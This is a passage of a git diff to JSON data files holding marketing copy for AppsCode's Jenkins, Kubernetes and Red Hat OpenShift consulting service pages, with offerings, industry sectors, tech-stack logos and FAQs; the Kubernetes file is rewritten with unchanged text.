enterprise tools for streamlined workflows.", + "Implement RBAC, SSO, and auditing for enterprise-grade governance and compliance." + ], + "image": "/assets/images/services/jenkins-consulting-devops.png" + }, + { + "title": "Optimize Developer Productivity", + "description": "Reduce repetitive workloads and accelerate feature testing with automated branch acceptance testing (BAT) and CI/CD orchestration.", + "offerings": [ + "Automate branch-level testing and environment provisioning for faster feedback.", + "Integrate automated test suites to ensure higher code quality.", + "Enable continuous deployment pipelines to staging and production environments." + ], + "image": "/assets/images/services/jenkins-consulting-dev-lifecycle.png" + }, + { + "title": "Accelerate Release & Delivery Management", + "description": "Streamline artifact management and automate delivery cycles to achieve faster time-to-market.", + "offerings": [ + "Automate artifact creation and promotion across environments for reliable QA.", + "Reduce delivery bottlenecks with end-to-end CI/CD pipeline automation." + ], + "image": "/assets/images/services/jenkins-consulting-delivery-time.png" + }, + { + "title": "Jenkins Training & Managed Support", + "description": "Empower your DevOps teams with hands-on Jenkins training and continuous managed support for sustainable CI/CD operations.", + "offerings": [ + "Upskill engineering teams with Jenkins and CI/CD best practices workshops.", + "Provide ongoing expert support for maintenance, troubleshooting, and upgrades.", + "Deliver proactive performance tuning and risk management strategies." + ], + "image": "/assets/images/services/jenkins-consulting-training-support.png" + } + ] + }, + "industries": { + "title": "Industry Expertise", + "subtitle": "With experience serving 100+ clients, we understand critical compliance, operational challenges, and delivering first-time-right solutions.", + "additional_text": "From global enterprises to high-growth startups, we deliver scalable and efficient CI/CD solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Enable highly available, compliant CI/CD pipelines for secure financial operations." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate Jenkins in high-performance cloud environments for SaaS and AI workloads." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage automation to meet customer expectations and ensure system reliability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize CI/CD processes to improve inspections, monitoring, and operational efficiency." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Ensure rapid, reliable deployment of applications for critical healthcare systems." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations with automated pipelines, scalable systems, and instant updates." + } + ] + }, + "tech_stack": { + "title": "Diverse Technical Expertise", + "subtitle": "Our certified consultants are skilled in:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Looking for Jenkins Enterprise Support?", + "subtitle": "Consult our experts to build, deploy, and test your CI/CD pipelines faster and more efficiently.", + "buttons": [ + { + "text": "Consult a Jenkins Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Preferred Jenkins Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Developers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "Deliver best practices in DevOps and CI/CD learned from 100+ client engagements." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Hands-On Training", + "description": "Practical training focused on core CI/CD concepts and real-world Jenkins applications." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scale Teams Easily", + "description": "Expand engineering teams quickly without hiring or training overhead." + } + ] + }, + "faq": [ + { + "question": "What do your Jenkins Consulting & Professional Support Services include?", + "answer": "Our Jenkins Consulting & Professional Support Services help organizations implement, optimize, and maintain Jenkins-based CI/CD pipelines. We cover setup, configuration, plugin management, pipeline automation, monitoring, and best practices to ensure reliable, scalable, and maintainable continuous integration and delivery workflows." + }, + { + "question": "Which technologies and practices are used in Jenkins consulting?", + "answer": "We leverage Jenkins, Jenkins X, pipeline as code, Docker, Kubernetes, Git-based workflows, automated testing, and monitoring tools. Our approach ensures efficient CI/CD pipelines, integrated DevOps workflows, and seamless deployments across cloud-native and on-premises environments." + }, + { + "question": "Can you work with our existing Jenkins infrastructure?", + "answer": "Yes — we assess your current Jenkins setup, optimize pipelines, implement best practices, and provide guidance to integrate with your existing development workflows, ensuring faster, reliable, and repeatable deployments." + }, + { + "question": "What is the typical timeline and engagement model for Jenkins Consulting & Professional Support Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your Jenkins environment and CI/CD processes. Implementation follows in 4–8 week sprints depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term support contracts." + }, + { + "question": "Do Jenkins Consulting Services support multi-cloud or hybrid deployments?", + "answer": "Absolutely. Our services enable Jenkins pipelines to work across AWS, Azure, GCP, and on-premises environments, ensuring consistent and reliable CI/CD processes across platforms." + }, + { + "question": "How do you ensure security, reliability, and efficiency in Jenkins pipelines?", + "answer": "We enforce best practices including access control, plugin management, secrets handling, automated testing, monitoring, and disaster recovery strategies to maintain secure, reliable, and efficient Jenkins pipelines." + }, + { + "question": "What happens after Jenkins consulting and implementation?", + "answer": "After implementation, we provide ongoing operational guidance, support, and optimization. Our services include knowledge transfer, training, and recommendations for continuous improvements to maintain robust Jenkins pipelines." + }, + { + "question": "How much do Jenkins Consulting & Professional Support Services cost, and what are the pricing models?", + "answer": "Pricing depends on pipeline complexity, number of teams, and support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/kubernetes_consulting_partner.json b/data/services/application-modernization/kubernetes_consulting_partner.json index 41557bc7cc..bccebaa015 100644 --- a/data/services/application-modernization/kubernetes_consulting_partner.json +++ b/data/services/application-modernization/kubernetes_consulting_partner.json @@ -1,311 +1,311 @@ -{ - "hero": { - "title": "Kubernetes Consulting Services by Experts", - "subtitle": "Empower your business with expert Kubernetes consultants for consulting, deployment, optimization, and managed enterprise support.", - "cta_text": "Talk to a Kubernetes Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Kubernetes Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our Kubernetes Consulting Services?", - "areas": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Agile & Scalable Cloud-Native Architecture" - }, - { - "icon": "fa fa-tachometer", - "title": "High-Performance Kubernetes Deployments" - }, - { - "icon": "fa fa-cogs", - "title": "Accelerated Application Development on Kubernetes" - }, - { - "icon": "fa fa-money", - "title": "Optimize Cloud & IT Infrastructure Costs" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" - }, - { - "icon": "fa fa-shield", - "title": "Self-Healing & Secure Container Environments" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Migrate & Containerize Legacy Applications" - }, - { - "icon": "fa fa-repeat", - "title": "Automated CI/CD Rollouts & Rollbacks" - } - ] - }, - "service_details": { - "title": "Our End-to-End Kubernetes Consulting Services", - "subtitle": "As a CNCF Silver Member and KCSP, AppsCode provides expert Kubernetes consulting services — from planning to production management.", - "sections": [ - { - "title": "Kubernetes Advisory & Assessment", - "description": "Start your Kubernetes journey with confidence. Our experts assess your current infrastructure, plan seamless migration, and design a scalable architecture optimized for AWS, Azure, or GCP.", - "offerings": [ - "Conduct infrastructure audits following CNCF best practices.", - "Create a roadmap for efficient Kubernetes adoption.", - "Provide detailed cost analysis and workload optimization." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Application Development & Migration", - "description": "Modernize your workloads with Kubernetes-native applications and migrate monoliths into containerized microservices for better agility and performance.", - "offerings": [ - "Develop Kubernetes-ready applications using Go, Java, and Python.", - "Break monolithic architectures into resilient microservices.", - "Implement centralized management across multi-cluster environments." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "Kubernetes Deployment & Operations", - "description": "Deploy production-grade Kubernetes clusters on-premises or in the cloud with high availability, resilience, and observability built in.", - "offerings": [ - "Provision auto-healing Kubernetes clusters using Infrastructure-as-Code tools like Terraform and Crossplane.", - "Integrate observability with Prometheus, Grafana, and Thanos.", - "Automate cluster scaling, upgrades, and security policies." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "DevSecOps, Security & Compliance", - "description": "Shift security left in your Kubernetes lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", - "offerings": [ - "Implement role-based access control (RBAC) and network segmentation.", - "Automate container image scanning with tools like Trivy and Clair.", - "Ensure compliance with ISO, HIPAA, and GDPR standards." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "Enterprise Kubernetes Support & Training", - "description": "AppsCode provides continuous Kubernetes support, training, and managed services to ensure operational excellence and long-term stability.", - "offerings": [ - "Real-time monitoring, backup, and disaster recovery using Stash.", - "Training for DevOps teams to manage Kubernetes independently.", - "Cost management and resource optimization for clusters." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Kubernetes Consulting", - "subtitle": "Our Kubernetes consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", - "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and Kubernetes solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems for inspections, monitoring, and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Use cloud GPU instances for fast, secure processing of patient data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable systems." - } - ] - }, - "tech_stack": { - "title": "Our Kubernetes Technology Expertise", - "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade Kubernetes consulting services.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Accelerate with Kubernetes Consulting Services?", - "subtitle": "Get expert Kubernetes consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", - "buttons": [ - { - "text": "Talk to a Kubernetes Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Right Kubernetes Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class Kubernetes Expertise", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Domain Expertise", - "description": "Experience across 100+ Kubernetes consulting projects globally." - }, - { - "icon": "fa fa-trophy", - "title": "Industry Leadership", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Kubernetes Training Programs", - "description": "Hands-on Kubernetes workshops and cloud-native upskilling for DevOps teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Dedicated Teams", - "description": "Easily scale your engineering teams with AppsCode’s Kubernetes experts." - } - ] - }, - "faq": [ - { - "question": "What do your Kubernetes Consulting Services include?", - "answer": "Our Kubernetes Consulting Services cover the full lifecycle of designing, deploying, and managing Kubernetes clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale." - }, - { - "question": "Which technologies and practices are used in Kubernetes consulting?", - "answer": "We leverage Kubernetes orchestration, Helm charts, operators, containerization with Docker, CI/CD pipelines, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient Kubernetes environments." - }, - { - "question": "Can you work with our existing Kubernetes clusters or cloud-native stack?", - "answer": "Yes — we integrate with your current clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable Kubernetes deployments." - }, - { - "question": "What is the typical timeline and engagement model for Kubernetes Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term Kubernetes advisory partnerships." - }, - { - "question": "Do you support hybrid and multi-cloud Kubernetes deployments?", - "answer": "Absolutely. Our Kubernetes Consulting Services are designed for portability and consistency across on-premises clusters and public clouds such as AWS, Azure, and GCP, ensuring seamless operations and scalability across environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency in Kubernetes?", - "answer": "We enforce security best practices including RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." - }, - { - "question": "What happens after Kubernetes consulting and implementation?", - "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our Kubernetes Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." - }, - { - "question": "How much do Kubernetes Consulting Services cost, and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Kubernetes Consulting Services by Experts", + "subtitle": "Empower your business with expert Kubernetes consultants for consulting, deployment, optimization, and managed enterprise support.", + "cta_text": "Talk to a Kubernetes Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Kubernetes Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our Kubernetes Consulting Services?", + "areas": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Agile & Scalable Cloud-Native Architecture" + }, + { + "icon": "fa fa-tachometer", + "title": "High-Performance Kubernetes Deployments" + }, + { + "icon": "fa fa-cogs", + "title": "Accelerated Application Development on Kubernetes" + }, + { + "icon": "fa fa-money", + "title": "Optimize Cloud & IT Infrastructure Costs" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" + }, + { + "icon": "fa fa-shield", + "title": "Self-Healing & Secure Container Environments" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Migrate & Containerize Legacy Applications" + }, + { + "icon": "fa fa-repeat", + "title": "Automated CI/CD Rollouts & Rollbacks" + } + ] + }, + "service_details": { + "title": "Our End-to-End Kubernetes Consulting Services", + "subtitle": "As a CNCF Silver Member and KCSP, AppsCode provides expert Kubernetes consulting services — from planning to production management.", + "sections": [ + { + "title": "Kubernetes Advisory & Assessment", + "description": "Start your Kubernetes journey with confidence. Our experts assess your current infrastructure, plan seamless migration, and design a scalable architecture optimized for AWS, Azure, or GCP.", + "offerings": [ + "Conduct infrastructure audits following CNCF best practices.", + "Create a roadmap for efficient Kubernetes adoption.", + "Provide detailed cost analysis and workload optimization." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Application Development & Migration", + "description": "Modernize your workloads with Kubernetes-native applications and migrate monoliths into containerized microservices for better agility and performance.", + "offerings": [ + "Develop Kubernetes-ready applications using Go, Java, and Python.", + "Break monolithic architectures into resilient microservices.", + "Implement centralized management across multi-cluster environments." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "Kubernetes Deployment & Operations", + "description": "Deploy production-grade Kubernetes clusters on-premises or in the cloud with high availability, resilience, and observability built in.", + "offerings": [ + "Provision auto-healing Kubernetes clusters using Infrastructure-as-Code tools like Terraform and Crossplane.", + "Integrate observability with Prometheus, Grafana, and Thanos.", + "Automate cluster scaling, upgrades, and security policies." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "DevSecOps, Security & Compliance", + "description": "Shift security left in your Kubernetes lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", + "offerings": [ + "Implement role-based access control (RBAC) and network segmentation.", + "Automate container image scanning with tools like Trivy and Clair.", + "Ensure compliance with ISO, HIPAA, and GDPR standards." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "Enterprise Kubernetes Support & Training", + "description": "AppsCode provides continuous Kubernetes support, training, and managed services to ensure operational excellence and long-term stability.", + "offerings": [ + "Real-time monitoring, backup, and disaster recovery using Stash.", + "Training for DevOps teams to manage Kubernetes independently.", + "Cost management and resource optimization for clusters." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Kubernetes Consulting", + "subtitle": "Our Kubernetes consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", + "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and Kubernetes solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant systems for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems for inspections, monitoring, and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Use cloud GPU instances for fast, secure processing of patient data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable systems." + } + ] + }, + "tech_stack": { + "title": "Our Kubernetes Technology Expertise", + "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade Kubernetes consulting services.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Accelerate with Kubernetes Consulting Services?", + "subtitle": "Get expert Kubernetes consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", + "buttons": [ + { + "text": "Talk to a Kubernetes Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Right Kubernetes Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class Kubernetes Expertise", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Domain Expertise", + "description": "Experience across 100+ Kubernetes consulting projects globally." + }, + { + "icon": "fa fa-trophy", + "title": "Industry Leadership", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Kubernetes Training Programs", + "description": "Hands-on Kubernetes workshops and cloud-native upskilling for DevOps teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Dedicated Teams", + "description": "Easily scale your engineering teams with AppsCode’s Kubernetes experts." + } + ] + }, + "faq": [ + { + "question": "What do your Kubernetes Consulting Services include?", + "answer": "Our Kubernetes Consulting Services cover the full lifecycle of designing, deploying, and managing Kubernetes clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale." + }, + { + "question": "Which technologies and practices are used in Kubernetes consulting?", + "answer": "We leverage Kubernetes orchestration, Helm charts, operators, containerization with Docker, CI/CD pipelines, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient Kubernetes environments." + }, + { + "question": "Can you work with our existing Kubernetes clusters or cloud-native stack?", + "answer": "Yes — we integrate with your current clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable Kubernetes deployments." + }, + { + "question": "What is the typical timeline and engagement model for Kubernetes Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term Kubernetes advisory partnerships." + }, + { + "question": "Do you support hybrid and multi-cloud Kubernetes deployments?", + "answer": "Absolutely. Our Kubernetes Consulting Services are designed for portability and consistency across on-premises clusters and public clouds such as AWS, Azure, and GCP, ensuring seamless operations and scalability across environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency in Kubernetes?", + "answer": "We enforce security best practices including RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." + }, + { + "question": "What happens after Kubernetes consulting and implementation?", + "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our Kubernetes Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." + }, + { + "question": "How much do Kubernetes Consulting Services cost, and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/openshift_consulting_partner.json b/data/services/application-modernization/openshift_consulting_partner.json index 39896016ce..88dc0a3f07 100644 --- a/data/services/application-modernization/openshift_consulting_partner.json +++ b/data/services/application-modernization/openshift_consulting_partner.json @@ -1,345 +1,345 @@ -{ - "hero": { - "title": "Red Hat OpenShift Consulting Services by Experts", - "subtitle": "AppsCode is a certified Red Hat partner — delivering expert OpenShift consulting, deployment, optimization, and managed enterprise support.", - "cta_text": "Talk to an OpenShift Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Red Hat OpenShift Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our OpenShift Consulting Services?", - "areas": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Agile & Scalable OpenShift Architecture" - }, - { - "icon": "fa fa-tachometer", - "title": "High-Performance OpenShift Deployments" - }, - { - "icon": "fa fa-cogs", - "title": "Accelerated App Development on OpenShift" - }, - { - "icon": "fa fa-money", - "title": "Optimize Cloud & IT Infrastructure Costs" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid OpenShift Flexibility" - }, - { - "icon": "fa fa-shield", - "title": "Self-Healing & Secure Container Environments" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Migrate & Containerize Legacy Applications" - }, - { - "icon": "fa fa-repeat", - "title": "Automated CI/CD Rollouts & Rollbacks" - } - ] - }, - "service_details": { - "title": "Our End-to-End OpenShift Consulting Services", - "subtitle": "As a certified Red Hat partner and CNCF Silver Member, AppsCode delivers expert OpenShift consulting — from planning to production management.", - "sections": [ - { - "title": "OpenShift Advisory & Assessment", - "description": "Start your OpenShift journey with confidence. Our experts assess your current infrastructure, plan seamless migration to OpenShift, and design a scalable architecture optimized for your environment.", - "offerings": [ - "Conduct infrastructure audits and plan OpenShift adoption.", - "Create a roadmap for efficient OpenShift deployment.", - "Provide detailed cost analysis and workload optimization." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Application Development & Migration", - "description": "Modernize your workloads with OpenShift-native applications and migrate monoliths into containerized microservices for better agility and performance.", - "offerings": [ - "Develop OpenShift-ready applications using Go, Java, and Python.", - "Break monolithic architectures into resilient microservices.", - "Implement centralized management across multi-cluster OpenShift environments." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "OpenShift Deployment & Operations", - "description": "Deploy production-grade OpenShift clusters on-premises or in the cloud with high availability, resilience, and observability built in.", - "offerings": [ - "Provision auto-healing OpenShift clusters using Infrastructure-as-Code tools.", - "Integrate observability with Prometheus, Grafana, and Thanos.", - "Automate cluster scaling, upgrades, and security policies." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "DevSecOps, Security & Compliance", 